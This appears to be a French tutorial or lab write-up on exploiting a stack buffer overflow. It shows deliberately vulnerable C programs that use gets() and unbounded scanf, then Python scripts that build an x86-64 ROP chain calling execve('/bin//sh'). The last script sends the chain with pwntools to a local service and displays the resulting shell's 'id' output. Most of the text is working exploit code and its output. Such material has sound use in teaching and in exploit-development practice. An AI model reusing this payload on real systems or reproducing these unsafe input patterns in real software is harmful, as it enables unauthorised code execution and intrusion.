```C
#include <stdio.h>

void main() {

	char buffer[50];
	scanf("%s", buffer);
	printf("%s", buffer);

}
```

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char ** argv) {
	char buffer[232];
	int len, i;

	gets(buffer);
	len = strlen(buffer);

	if (len >= 550) {
    	printf("Size too big :(\n");
    	exit(EXIT_FAILURE);
	}

	for (i=0; i<len; i++) {
    	printf("%02x", buffer[i]);
	}

	printf("\n");
	return 0;
}

#!/bin/env python3
from struct import pack
from os import write

pop_rax = pack("<Q", 0x4469d0)
pop_rdi = pack("<Q", 0x40183a)
pop_rsi = pack("<Q", 0x40788e)
pop_rdx = pack("<Q", 0x47277b)
movd_rsi_rax = pack("<Q", 0x470475)
syscall = pack("<Q", 0x401213)
at_data = pack("<Q", 0x4ab0e0)
at_data_16 = pack("<Q", 0x4ab0e0+0x10)

buff = 248 * b"A"

write(1, buff)

#!/bin/env python3
from struct import pack
from os import write

pop_rax = pack("<Q", 0x4469d0)
pop_rdi = pack("<Q", 0x40183a)
pop_rsi = pack("<Q", 0x40788e)
pop_rdx = pack("<Q", 0x47277b)
movd_rsi_rax = pack("<Q", 0x470475)
syscall = pack("<Q", 0x401213)
at_data = pack("<Q", 0x4ab0e0)
at_data_16 = pack("<Q", 0x4ab0e0+0x10)
null = pack("<Q", 0x00)
execve = pack("<Q", 59)

buff = 248 * b"A"
buff += pop_rsi
buff += at_data
buff += pop_rax
buff += b"/bin//sh"
buff += movd_rsi_rax
buff += pop_rsi
buff += at_data_16
buff += pop_rax
buff += at_data
buff += movd_rsi_rax
buff += pop_rdi
buff += at_data
buff += pop_rsi
buff += at_data_16
buff += pop_rdx
buff += null
buff += null
buff += pop_rax
buff += execve
buff += syscall

write(1, buff)
write(1, b"\n")

#!/bin/env python3
from struct import pack
from os import write

pop_rax = pack("<Q", 0x4469d0)
pop_rdi = pack("<Q", 0x40183a)
pop_rsi = pack("<Q", 0x40788e)
pop_rdx = pack("<Q", 0x47277b)
movd_rsi_rax = pack("<Q", 0x470475)
syscall = pack("<Q", 0x401213)
at_data = pack("<Q", 0x4ab0e0)
at_data_16 = pack("<Q", 0x4ab0e0+0x10)
at_data_24 = pack("<Q", 0x4ab0e0+0x18)
null = pack("<Q", 0x00)
execve = pack("<Q", 59)
buff = 248 * b"A"

""" parametrer le premier argument """
buff += pop_rsi
buff += at_data
buff += pop_rax
buff += b"/bin//sh"
buff += movd_rsi_rax

""" parametrer le deuxième argument """
buff += pop_rsi
buff += at_data_16
buff += pop_rax
buff += at_data
buff += movd_rsi_rax

""" mettre le 2e pointeur du tableau des arguments à 0 """
buff += pop_rsi
buff += at_data_24
buff += pop_rax
buff += null
buff += movd_rsi_rax

""" execve """
buff += pop_rdi
buff += at_data
buff += pop_rsi
buff += at_data_16
buff += pop_rdx
buff += null
buff += null
buff += pop_rax
buff += execve
buff += syscall

write(1, buff)
write(1, b"\n") # trigger

#!/bin/env python3
from struct import pack
from pwn import remote

proc = remote("127.0.0.1", 5555)

pop_rax = pack("<Q", 0x4469d0)
pop_rdi = pack("<Q", 0x40183a)
pop_rsi = pack("<Q", 0x40788e)
pop_rdx = pack("<Q", 0x47277b)
movd_rsi_rax = pack("<Q", 0x470475)
syscall = pack("<Q", 0x401213)
at_data = pack("<Q", 0x4ab0e0)
at_data_16 = pack("<Q", 0x4ab0e0+0x10)
at_data_24 = pack("<Q", 0x4ab0e0+0x18)
null = pack("<Q", 0x00)
execve = pack("<Q", 59)
buff = 248 * b"A"

""" parametrer le premier argument """
buff += pop_rsi
buff += at_data
buff += pop_rax
buff += b"/bin//sh"
buff += movd_rsi_rax

""" parametrer le deuxième argument """
buff += pop_rsi
buff += at_data_16
buff += pop_rax
buff += at_data
buff += movd_rsi_rax

""" mettre le 2e pointeur du tableau des arguments à 0 """
buff += pop_rsi
buff += at_data_24
buff += pop_rax
buff += null
buff += movd_rsi_rax

""" execve """
buff += pop_rdi
buff += at_data
buff += pop_rsi
buff += at_data_16
buff += pop_rdx
buff += null
buff += null
buff += pop_rax
buff += execve
buff += syscall

proc.sendline(buff)
proc.interactive() # et paf le shell
Plutôt simple non ? 
Et du coup, pour confirmer que cela fonctionne toujours:
> python tst.py
[+] Opening connection to 127.0.0.1 on port 5555: Done
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)